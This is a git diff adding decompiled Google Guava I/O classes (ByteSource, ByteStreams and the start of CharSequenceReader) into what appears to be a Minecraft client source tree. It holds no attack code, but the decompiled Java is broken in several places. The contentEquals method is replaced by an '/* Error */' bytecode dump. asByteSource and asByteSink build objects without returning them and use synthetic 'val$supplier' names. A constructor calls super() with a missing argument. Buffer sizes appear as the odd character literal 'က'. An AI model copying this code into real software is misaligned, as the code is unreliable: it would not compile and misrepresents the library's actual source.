+
+
+
+
+
+
+  public long size()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    long l;
+    try { InputStream in = (InputStream)closer.register(openStream());
+      return countBySkipping(in);
+    }
+    catch (IOException e) {}finally
+    {
+      closer.close();
+    }
+    
+    closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register(openStream());
+      return countByReading(in);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+  private long countBySkipping(InputStream in)
+    throws IOException
+  {
+    long count = 0L;
+    
+    for (;;)
+    {
+      long skipped = in.skip(Math.min(in.available(), Integer.MAX_VALUE));
+      if (skipped <= 0L) {
+        if (in.read() == -1)
+          return count;
+        if ((count == 0L) && (in.available() == 0))
+        {
+
+          throw new IOException();
+        }
+        count += 1L;
+      } else {
+        count += skipped;
+      }
+    }
+  }
+  
+  private static final byte[] countBuffer = new byte['က'];
+  
+  private long countByReading(InputStream in) throws IOException {
+    long count = 0L;
+    long read;
+    while ((read = in.read(countBuffer)) != -1L) {
+      count += read;
+    }
+    return count;
+  }
+  
+
+
+
+
+
+  public long copyTo(OutputStream output)
+    throws IOException
+  {
+    Preconditions.checkNotNull(output);
+    
+    Closer closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register(openStream());
+      return ByteStreams.copy(in, output);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+  public long copyTo(ByteSink sink)
+    throws IOException
+  {
+    Preconditions.checkNotNull(sink);
+    
+    Closer closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register(openStream());
+      OutputStream out = (OutputStream)closer.register(sink.openStream());
+      return ByteStreams.copy(in, out);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+  public byte[] read()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register(openStream());
+      return ByteStreams.toByteArray(in);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public <T> T read(ByteProcessor<T> processor)
+    throws IOException
+  {
+    Preconditions.checkNotNull(processor);
+    
+    Closer closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register(openStream());
+      return ByteStreams.readBytes(in, processor);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+  public HashCode hash(HashFunction hashFunction)
+    throws IOException
+  {
+    Hasher hasher = hashFunction.newHasher();
+    copyTo(Funnels.asOutputStream(hasher));
+    return hasher.hash();
+  }
+  
+  /* Error */
+  public boolean contentEquals(ByteSource other)
+    throws IOException
+  {
+    // Byte code:
+    //   0: aload_1
+    //   1: invokestatic 29	com/google/common/base/Preconditions:checkNotNull	(Ljava/lang/Object;)Ljava/lang/Object;
+    //   4: pop
+    //   5: sipush 4096
+    //   8: newarray byte
+    //   10: astore_2
+    //   11: sipush 4096
+    //   14: newarray byte
+    //   16: astore_3
+    //   17: invokestatic 10	com/google/common/io/Closer:create	()Lcom/google/common/io/Closer;
+    //   20: astore 4
+    //   22: aload 4
+    //   24: aload_0
+    //   25: invokevirtual 5	com/google/common/io/ByteSource:openStream	()Ljava/io/InputStream;
+    //   28: invokevirtual 11	com/google/common/io/Closer:register	(Ljava/io/Closeable;)Ljava/io/Closeable;
+    //   31: checkcast 12	java/io/InputStream
+    //   34: astore 5
+    //   36: aload 4
+    //   38: aload_1
+    //   39: invokevirtual 5	com/google/common/io/ByteSource:openStream	()Ljava/io/InputStream;
+    //   42: invokevirtual 11	com/google/common/io/Closer:register	(Ljava/io/Closeable;)Ljava/io/Closeable;
+    //   45: checkcast 12	java/io/InputStream
+    //   48: astore 6
+    //   50: aload 5
+    //   52: aload_2
+    //   53: iconst_0
+    //   54: sipush 4096
+    //   57: invokestatic 39	com/google/common/io/ByteStreams:read	(Ljava/io/InputStream;[BII)I
+    //   60: istore 7
+    //   62: aload 6
+    //   64: aload_3
+    //   65: iconst_0
+    //   66: sipush 4096
+    //   69: invokestatic 39	com/google/common/io/ByteStreams:read	(Ljava/io/InputStream;[BII)I
+    //   72: istore 8
+    //   74: iload 7
+    //   76: iload 8
+    //   78: if_icmpne +11 -> 89
+    //   81: aload_2
+    //   82: aload_3
+    //   83: invokestatic 40	java/util/Arrays:equals	([B[B)Z
+    //   86: ifne +14 -> 100
+    //   89: iconst_0
+    //   90: istore 9
+    //   92: aload 4
+    //   94: invokevirtual 14	com/google/common/io/Closer:close	()V
+    //   97: iload 9
+    //   99: ireturn
+    //   100: iload 7
+    //   102: sipush 4096
+    //   105: if_icmpeq +14 -> 119
+    //   108: iconst_1
+    //   109: istore 9
+    //   111: aload 4
+    //   113: invokevirtual 14	com/google/common/io/Closer:close	()V
+    //   116: iload 9
+    //   118: ireturn
+    //   119: goto -69 -> 50
+    //   122: astore 5
+    //   124: aload 4
+    //   126: aload 5
+    //   128: invokevirtual 16	com/google/common/io/Closer:rethrow	(Ljava/lang/Throwable;)Ljava/lang/RuntimeException;
+    //   131: athrow
+    //   132: astore 10
+    //   134: aload 4
+    //   136: invokevirtual 14	com/google/common/io/Closer:close	()V
+    //   139: aload 10
+    //   141: athrow
+    // Line number table:
+    //   Java source line #324	-> byte code offset #0
+    //   Java source line #326	-> byte code offset #5
+    //   Java source line #327	-> byte code offset #11
+    //   Java source line #329	-> byte code offset #17
+    //   Java source line #331	-> byte code offset #22
+    //   Java source line #332	-> byte code offset #36
+    //   Java source line #334	-> byte code offset #50
+    //   Java source line #335	-> byte code offset #62
+    //   Java source line #336	-> byte code offset #74
+    //   Java source line #337	-> byte code offset #89
+    //   Java source line #345	-> byte code offset #92
+    //   Java source line #338	-> byte code offset #100
+    //   Java source line #339	-> byte code offset #108
+    //   Java source line #345	-> byte code offset #111
+    //   Java source line #341	-> byte code offset #119
+    //   Java source line #342	-> byte code offset #122
+    //   Java source line #343	-> byte code offset #124
+    //   Java source line #345	-> byte code offset #132
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	142	0	this	ByteSource
+    //   0	142	1	other	ByteSource
+    //   10	72	2	buf1	byte[]
+    //   16	67	3	buf2	byte[]
+    //   20	115	4	closer	Closer
+    //   34	17	5	in1	InputStream
+    //   122	5	5	e	Throwable
+    //   48	15	6	in2	InputStream
+    //   60	41	7	read1	int
+    //   72	5	8	read2	int
+    //   90	27	9	bool	boolean
+    //   132	8	10	localObject	Object
+    // Exception table:
+    //   from	to	target	type
+    //   22	92	122	java/lang/Throwable
+    //   100	111	122	java/lang/Throwable
+    //   119	122	122	java/lang/Throwable
+    //   22	92	132	finally
+    //   100	111	132	finally
+    //   119	134	132	finally
+  }
+  
+  public static ByteSource concat(Iterable<? extends ByteSource> sources)
+  {
+    return new ConcatenatedByteSource(sources);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ByteSource concat(Iterator<? extends ByteSource> sources)
+  {
+    return concat(ImmutableList.copyOf(sources));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static ByteSource concat(ByteSource... sources)
+  {
+    return concat(ImmutableList.copyOf(sources));
+  }
+  
+
+
+
+
+
+  public static ByteSource wrap(byte[] b)
+  {
+    return new ByteArrayByteSource(b);
+  }
+  
+
+
+
+
+  public static ByteSource empty()
+  {
+    return EmptyByteSource.INSTANCE;
+  }
+  
+
+  private final class AsCharSource
+    extends CharSource
+  {
+    private final Charset charset;
+    
+
+    private AsCharSource(Charset charset)
+    {
+      this.charset = ((Charset)Preconditions.checkNotNull(charset));
+    }
+    
+    public Reader openStream() throws IOException
+    {
+      return new InputStreamReader(openStream(), charset);
+    }
+    
+    public String toString()
+    {
+      return ByteSource.this.toString() + ".asCharSource(" + charset + ")";
+    }
+  }
+  
+
+  private final class SlicedByteSource
+    extends ByteSource
+  {
+    private final long offset;
+    private final long length;
+    
+    private SlicedByteSource(long offset, long length)
+    {
+      Preconditions.checkArgument(offset >= 0L, "offset (%s) may not be negative", new Object[] { Long.valueOf(offset) });
+      Preconditions.checkArgument(length >= 0L, "length (%s) may not be negative", new Object[] { Long.valueOf(length) });
+      this.offset = offset;
+      this.length = length;
+    }
+    
+    public InputStream openStream() throws IOException
+    {
+      return sliceStream(ByteSource.this.openStream());
+    }
+    
+    public InputStream openBufferedStream() throws IOException
+    {
+      return sliceStream(ByteSource.this.openBufferedStream());
+    }
+    
+    private InputStream sliceStream(InputStream in) throws IOException {
+      if (offset > 0L) {
+        try {
+          ByteStreams.skipFully(in, offset);
+        } catch (Throwable e) {
+          Closer closer = Closer.create();
+          closer.register(in);
+          try {
+            throw closer.rethrow(e);
+          } finally {
+            closer.close();
+          }
+        }
+      }
+      return ByteStreams.limit(in, length);
+    }
+    
+    public ByteSource slice(long offset, long length)
+    {
+      Preconditions.checkArgument(offset >= 0L, "offset (%s) may not be negative", new Object[] { Long.valueOf(offset) });
+      Preconditions.checkArgument(length >= 0L, "length (%s) may not be negative", new Object[] { Long.valueOf(length) });
+      long maxLength = this.length - offset;
+      return ByteSource.this.slice(this.offset + offset, Math.min(length, maxLength));
+    }
+    
+    public boolean isEmpty() throws IOException
+    {
+      return (length == 0L) || (super.isEmpty());
+    }
+    
+    public String toString()
+    {
+      return ByteSource.this.toString() + ".slice(" + offset + ", " + length + ")";
+    }
+  }
+  
+  private static class ByteArrayByteSource extends ByteSource
+  {
+    protected final byte[] bytes;
+    
+    protected ByteArrayByteSource(byte[] bytes) {
+      this.bytes = ((byte[])Preconditions.checkNotNull(bytes));
+    }
+    
+    public InputStream openStream()
+    {
+      return new ByteArrayInputStream(bytes);
+    }
+    
+    public InputStream openBufferedStream() throws IOException
+    {
+      return openStream();
+    }
+    
+    public boolean isEmpty()
+    {
+      return bytes.length == 0;
+    }
+    
+    public long size()
+    {
+      return bytes.length;
+    }
+    
+    public byte[] read()
+    {
+      return (byte[])bytes.clone();
+    }
+    
+    public long copyTo(OutputStream output) throws IOException
+    {
+      output.write(bytes);
+      return bytes.length;
+    }
+    
+    public <T> T read(ByteProcessor<T> processor) throws IOException
+    {
+      processor.processBytes(bytes, 0, bytes.length);
+      return processor.getResult();
+    }
+    
+    public HashCode hash(HashFunction hashFunction) throws IOException
+    {
+      return hashFunction.hashBytes(bytes);
+    }
+    
+
+
+    public String toString()
+    {
+      return "ByteSource.wrap(" + Ascii.truncate(BaseEncoding.base16().encode(bytes), 30, "...") + ")";
+    }
+  }
+  
+  private static final class EmptyByteSource
+    extends ByteSource.ByteArrayByteSource
+  {
+    private static final EmptyByteSource INSTANCE = new EmptyByteSource();
+    
+    private EmptyByteSource() {
+      super();
+    }
+    
+    public CharSource asCharSource(Charset charset)
+    {
+      Preconditions.checkNotNull(charset);
+      return CharSource.empty();
+    }
+    
+    public byte[] read()
+    {
+      return bytes;
+    }
+    
+    public String toString()
+    {
+      return "ByteSource.empty()";
+    }
+  }
+  
+  private static final class ConcatenatedByteSource extends ByteSource
+  {
+    private final Iterable<? extends ByteSource> sources;
+    
+    ConcatenatedByteSource(Iterable<? extends ByteSource> sources) {
+      this.sources = ((Iterable)Preconditions.checkNotNull(sources));
+    }
+    
+    public InputStream openStream() throws IOException
+    {
+      return new MultiInputStream(sources.iterator());
+    }
+    
+    public boolean isEmpty() throws IOException
+    {
+      for (ByteSource source : sources) {
+        if (!source.isEmpty()) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public long size() throws IOException
+    {
+      long result = 0L;
+      for (ByteSource source : sources) {
+        result += source.size();
+      }
+      return result;
+    }
+    
+    public String toString()
+    {
+      return "ByteSource.concat(" + sources + ")";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/ByteStreams.java b/src/minecraft/com/google/common/io/ByteStreams.java
new file mode 100644
index 0000000..403c6b9
--- /dev/null
+++ b/src/minecraft/com/google/common/io/ByteStreams.java
@@ -0,0 +1,1071 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Iterables;
+import com.google.common.hash.HashCode;
+import com.google.common.hash.HashFunction;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.Closeable;
+import java.io.DataInput;
+import java.io.DataInputStream;
+import java.io.DataOutput;
+import java.io.DataOutputStream;
+import java.io.EOFException;
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.ReadableByteChannel;
+import java.nio.channels.WritableByteChannel;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class ByteStreams
+{
+  private static final int BUF_SIZE = 4096;
+  
+  private ByteStreams() {}
+  
+  @Deprecated
+  public static InputSupplier<ByteArrayInputStream> newInputStreamSupplier(byte[] b)
+  {
+    return asInputSupplier(ByteSource.wrap(b));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<ByteArrayInputStream> newInputStreamSupplier(byte[] b, int off, int len)
+  {
+    return asInputSupplier(ByteSource.wrap(b).slice(off, len));
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static void write(byte[] from, OutputSupplier<? extends OutputStream> to)
+    throws IOException
+  {
+    asByteSink(to).write(from);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static long copy(InputSupplier<? extends InputStream> from, OutputSupplier<? extends OutputStream> to)
+    throws IOException
+  {
+    return asByteSource(from).copyTo(asByteSink(to));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static long copy(InputSupplier<? extends InputStream> from, OutputStream to)
+    throws IOException
+  {
+    return asByteSource(from).copyTo(to);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static long copy(InputStream from, OutputSupplier<? extends OutputStream> to)
+    throws IOException
+  {
+    return asByteSink(to).writeFrom(from);
+  }
+  
+
+
+
+
+
+
+
+
+  public static long copy(InputStream from, OutputStream to)
+    throws IOException
+  {
+    Preconditions.checkNotNull(from);
+    Preconditions.checkNotNull(to);
+    byte[] buf = new byte['က'];
+    long total = 0L;
+    for (;;) {
+      int r = from.read(buf);
+      if (r == -1) {
+        break;
+      }
+      to.write(buf, 0, r);
+      total += r;
+    }
+    return total;
+  }
+  
+
+
+
+
+
+
+
+
+  public static long copy(ReadableByteChannel from, WritableByteChannel to)
+    throws IOException
+  {
+    Preconditions.checkNotNull(from);
+    Preconditions.checkNotNull(to);
+    ByteBuffer buf = ByteBuffer.allocate(4096);
+    long total = 0L;
+    while (from.read(buf) != -1) {
+      buf.flip();
+      while (buf.hasRemaining()) {
+        total += to.write(buf);
+      }
+      buf.clear();
+    }
+    return total;
+  }
+  
+
+
+
+
+
+
+  public static byte[] toByteArray(InputStream in)
+    throws IOException
+  {
+    ByteArrayOutputStream out = new ByteArrayOutputStream();
+    copy(in, out);
+    return out.toByteArray();
+  }
+  
+
+
+
+
+
+  static byte[] toByteArray(InputStream in, int expectedSize)
+    throws IOException
+  {
+    byte[] bytes = new byte[expectedSize];
+    int remaining = expectedSize;
+    
+    while (remaining > 0) {
+      int off = expectedSize - remaining;
+      int read = in.read(bytes, off, remaining);
+      if (read == -1)
+      {
+
+        return Arrays.copyOf(bytes, off);
+      }
+      remaining -= read;
+    }
+    
+
+    int b = in.read();
+    if (b == -1) {
+      return bytes;
+    }
+    
+
+    FastByteArrayOutputStream out = new FastByteArrayOutputStream(null);
+    out.write(b);
+    copy(in, out);
+    
+    byte[] result = new byte[bytes.length + out.size()];
+    System.arraycopy(bytes, 0, result, 0, bytes.length);
+    out.writeTo(result, bytes.length);
+    return result;
+  }
+  
+
+
+  private static final class FastByteArrayOutputStream
+    extends ByteArrayOutputStream
+  {
+    private FastByteArrayOutputStream() {}
+    
+
+    void writeTo(byte[] b, int off)
+    {
+      System.arraycopy(buf, 0, b, off, count);
+    }
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static byte[] toByteArray(InputSupplier<? extends InputStream> supplier)
+    throws IOException
+  {
+    return asByteSource(supplier).read();
+  }
+  
+
+
+
+  public static ByteArrayDataInput newDataInput(byte[] bytes)
+  {
+    return newDataInput(new ByteArrayInputStream(bytes));
+  }
+  
+
+
+
+
+
+
+  public static ByteArrayDataInput newDataInput(byte[] bytes, int start)
+  {
+    Preconditions.checkPositionIndex(start, bytes.length);
+    return newDataInput(new ByteArrayInputStream(bytes, start, bytes.length - start));
+  }
+  
+
+
+
+
+
+
+
+
+  public static ByteArrayDataInput newDataInput(ByteArrayInputStream byteArrayInputStream)
+  {
+    return new ByteArrayDataInputStream((ByteArrayInputStream)Preconditions.checkNotNull(byteArrayInputStream));
+  }
+  
+  private static class ByteArrayDataInputStream implements ByteArrayDataInput {
+    final DataInput input;
+    
+    ByteArrayDataInputStream(ByteArrayInputStream byteArrayInputStream) {
+      input = new DataInputStream(byteArrayInputStream);
+    }
+    
+    public void readFully(byte[] b) {
+      try {
+        input.readFully(b);
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public void readFully(byte[] b, int off, int len) {
+      try {
+        input.readFully(b, off, len);
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public int skipBytes(int n) {
+      try {
+        return input.skipBytes(n);
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public boolean readBoolean() {
+      try {
+        return input.readBoolean();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public byte readByte() {
+      try {
+        return input.readByte();
+      } catch (EOFException e) {
+        throw new IllegalStateException(e);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public int readUnsignedByte() {
+      try {
+        return input.readUnsignedByte();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public short readShort() {
+      try {
+        return input.readShort();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public int readUnsignedShort() {
+      try {
+        return input.readUnsignedShort();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public char readChar() {
+      try {
+        return input.readChar();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public int readInt() {
+      try {
+        return input.readInt();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public long readLong() {
+      try {
+        return input.readLong();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public float readFloat() {
+      try {
+        return input.readFloat();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public double readDouble() {
+      try {
+        return input.readDouble();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public String readLine() {
+      try {
+        return input.readLine();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    
+    public String readUTF() {
+      try {
+        return input.readUTF();
+      } catch (IOException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+  }
+  
+
+
+  public static ByteArrayDataOutput newDataOutput()
+  {
+    return newDataOutput(new ByteArrayOutputStream());
+  }
+  
+
+
+
+
+
+  public static ByteArrayDataOutput newDataOutput(int size)
+  {
+    Preconditions.checkArgument(size >= 0, "Invalid size: %s", new Object[] { Integer.valueOf(size) });
+    return newDataOutput(new ByteArrayOutputStream(size));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ByteArrayDataOutput newDataOutput(ByteArrayOutputStream byteArrayOutputSteam)
+  {
+    return new ByteArrayDataOutputStream((ByteArrayOutputStream)Preconditions.checkNotNull(byteArrayOutputSteam));
+  }
+  
+  private static class ByteArrayDataOutputStream
+    implements ByteArrayDataOutput
+  {
+    final DataOutput output;
+    final ByteArrayOutputStream byteArrayOutputSteam;
+    
+    ByteArrayDataOutputStream(ByteArrayOutputStream byteArrayOutputSteam)
+    {
+      this.byteArrayOutputSteam = byteArrayOutputSteam;
+      output = new DataOutputStream(byteArrayOutputSteam);
+    }
+    
+    public void write(int b) {
+      try {
+        output.write(b);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void write(byte[] b) {
+      try {
+        output.write(b);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void write(byte[] b, int off, int len) {
+      try {
+        output.write(b, off, len);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeBoolean(boolean v) {
+      try {
+        output.writeBoolean(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeByte(int v) {
+      try {
+        output.writeByte(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeBytes(String s) {
+      try {
+        output.writeBytes(s);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeChar(int v) {
+      try {
+        output.writeChar(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeChars(String s) {
+      try {
+        output.writeChars(s);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeDouble(double v) {
+      try {
+        output.writeDouble(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeFloat(float v) {
+      try {
+        output.writeFloat(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeInt(int v) {
+      try {
+        output.writeInt(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeLong(long v) {
+      try {
+        output.writeLong(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeShort(int v) {
+      try {
+        output.writeShort(v);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public void writeUTF(String s) {
+      try {
+        output.writeUTF(s);
+      } catch (IOException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    public byte[] toByteArray() {
+      return byteArrayOutputSteam.toByteArray();
+    }
+  }
+  
+  private static final OutputStream NULL_OUTPUT_STREAM = new OutputStream()
+  {
+    public void write(int b) {}
+    
+
+    public void write(byte[] b)
+    {
+      Preconditions.checkNotNull(b);
+    }
+    
+    public void write(byte[] b, int off, int len) {
+      Preconditions.checkNotNull(b);
+    }
+    
+    public String toString()
+    {
+      return "ByteStreams.nullOutputStream()";
+    }
+  };
+  
+
+
+
+
+  public static OutputStream nullOutputStream()
+  {
+    return NULL_OUTPUT_STREAM;
+  }
+  
+
+
+
+
+
+
+
+
+  public static InputStream limit(InputStream in, long limit)
+  {
+    return new LimitedInputStream(in, limit);
+  }
+  
+  private static final class LimitedInputStream extends FilterInputStream
+  {
+    private long left;
+    private long mark = -1L;
+    
+    LimitedInputStream(InputStream in, long limit) {
+      super();
+      Preconditions.checkNotNull(in);
+      Preconditions.checkArgument(limit >= 0L, "limit must be non-negative");
+      left = limit;
+    }
+    
+    public int available() throws IOException {
+      return (int)Math.min(in.available(), left);
+    }
+    
+    public synchronized void mark(int readLimit)
+    {
+      in.mark(readLimit);
+      mark = left;
+    }
+    
+    public int read() throws IOException {
+      if (left == 0L) {
+        return -1;
+      }
+      
+      int result = in.read();
+      if (result != -1) {
+        left -= 1L;
+      }
+      return result;
+    }
+    
+    public int read(byte[] b, int off, int len) throws IOException {
+      if (left == 0L) {
+        return -1;
+      }
+      
+      len = (int)Math.min(len, left);
+      int result = in.read(b, off, len);
+      if (result != -1) {
+        left -= result;
+      }
+      return result;
+    }
+    
+    public synchronized void reset() throws IOException {
+      if (!in.markSupported()) {
+        throw new IOException("Mark not supported");
+      }
+      if (mark == -1L) {
+        throw new IOException("Mark not set");
+      }
+      
+      in.reset();
+      left = mark;
+    }
+    
+    public long skip(long n) throws IOException {
+      n = Math.min(n, left);
+      long skipped = in.skip(n);
+      left -= skipped;
+      return skipped;
+    }
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public static long length(InputSupplier<? extends InputStream> supplier)
+    throws IOException
+  {
+    return asByteSource(supplier).size();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public static boolean equal(InputSupplier<? extends InputStream> supplier1, InputSupplier<? extends InputStream> supplier2)
+    throws IOException
+  {
+    return asByteSource(supplier1).contentEquals(asByteSource(supplier2));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void readFully(InputStream in, byte[] b)
+    throws IOException
+  {
+    readFully(in, b, 0, b.length);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void readFully(InputStream in, byte[] b, int off, int len)
+    throws IOException
+  {
+    int read = read(in, b, off, len);
+    if (read != len) {
+      throw new EOFException("reached end of stream after reading " + read + " bytes; " + len + " bytes expected");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void skipFully(InputStream in, long n)
+    throws IOException
+  {
+    long toSkip = n;
+    while (n > 0L) {
+      long amt = in.skip(n);
+      if (amt == 0L)
+      {
+        if (in.read() == -1) {
+          long skipped = toSkip - n;
+          throw new EOFException("reached end of stream after skipping " + skipped + " bytes; " + toSkip + " bytes expected");
+        }
+        
+        n -= 1L;
+      } else {
+        n -= amt;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <T> T readBytes(InputSupplier<? extends InputStream> supplier, ByteProcessor<T> processor)
+    throws IOException
+  {
+    Preconditions.checkNotNull(supplier);
+    Preconditions.checkNotNull(processor);
+    
+    Closer closer = Closer.create();
+    try {
+      InputStream in = (InputStream)closer.register((Closeable)supplier.getInput());
+      return readBytes(in, processor);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> T readBytes(InputStream input, ByteProcessor<T> processor)
+    throws IOException
+  {
+    Preconditions.checkNotNull(input);
+    Preconditions.checkNotNull(processor);
+    
+    byte[] buf = new byte['က'];
+    int read;
+    do {
+      read = input.read(buf);
+    } while ((read != -1) && (processor.processBytes(buf, 0, read)));
+    return processor.getResult();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static HashCode hash(InputSupplier<? extends InputStream> supplier, HashFunction hashFunction)
+    throws IOException
+  {
+    return asByteSource(supplier).hash(hashFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int read(InputStream in, byte[] b, int off, int len)
+    throws IOException
+  {
+    Preconditions.checkNotNull(in);
+    Preconditions.checkNotNull(b);
+    if (len < 0) {
+      throw new IndexOutOfBoundsException("len is negative");
+    }
+    int total = 0;
+    while (total < len) {
+      int result = in.read(b, off + total, len - total);
+      if (result == -1) {
+        break;
+      }
+      total += result;
+    }
+    return total;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<InputStream> slice(InputSupplier<? extends InputStream> supplier, long offset, long length)
+  {
+    return asInputSupplier(asByteSource(supplier).slice(offset, length));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<InputStream> join(Iterable<? extends InputSupplier<? extends InputStream>> suppliers)
+  {
+    Preconditions.checkNotNull(suppliers);
+    Iterable<ByteSource> sources = Iterables.transform(suppliers, new Function()
+    {
+      public ByteSource apply(InputSupplier<? extends InputStream> input)
+      {
+        return ByteStreams.asByteSource(input);
+      }
+    });
+    return asInputSupplier(ByteSource.concat(sources));
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<InputStream> join(InputSupplier<? extends InputStream>... suppliers)
+  {
+    return join(Arrays.asList(suppliers));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static ByteSource asByteSource(InputSupplier<? extends InputStream> supplier)
+  {
+    Preconditions.checkNotNull(supplier);
+    new ByteSource()
+    {
+      public InputStream openStream() throws IOException {
+        return (InputStream)val$supplier.getInput();
+      }
+      
+      public String toString()
+      {
+        return "ByteStreams.asByteSource(" + val$supplier + ")";
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static ByteSink asByteSink(OutputSupplier<? extends OutputStream> supplier)
+  {
+    Preconditions.checkNotNull(supplier);
+    new ByteSink()
+    {
+      public OutputStream openStream() throws IOException {
+        return (OutputStream)val$supplier.getOutput();
+      }
+      
+      public String toString()
+      {
+        return "ByteStreams.asByteSink(" + val$supplier + ")";
+      }
+    };
+  }
+  
+
+  static <S extends InputStream> InputSupplier<S> asInputSupplier(ByteSource source)
+  {
+    return (InputSupplier)Preconditions.checkNotNull(source);
+  }
+  
+
+  static <S extends OutputStream> OutputSupplier<S> asOutputSupplier(ByteSink sink)
+  {
+    return (OutputSupplier)Preconditions.checkNotNull(sink);
+  }
+}
diff --git a/src/minecraft/com/google/common/io/CharSequenceReader.java b/src/minecraft/com/google/common/io/CharSequenceReader.java
new file mode 100644
index 0000000..6df337e
--- /dev/null
+++ b/src/minecraft/com/google/common/io/CharSequenceReader.java
@@ -0,0 +1,132 @@
+package com.google.common.io;
+
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.Reader;
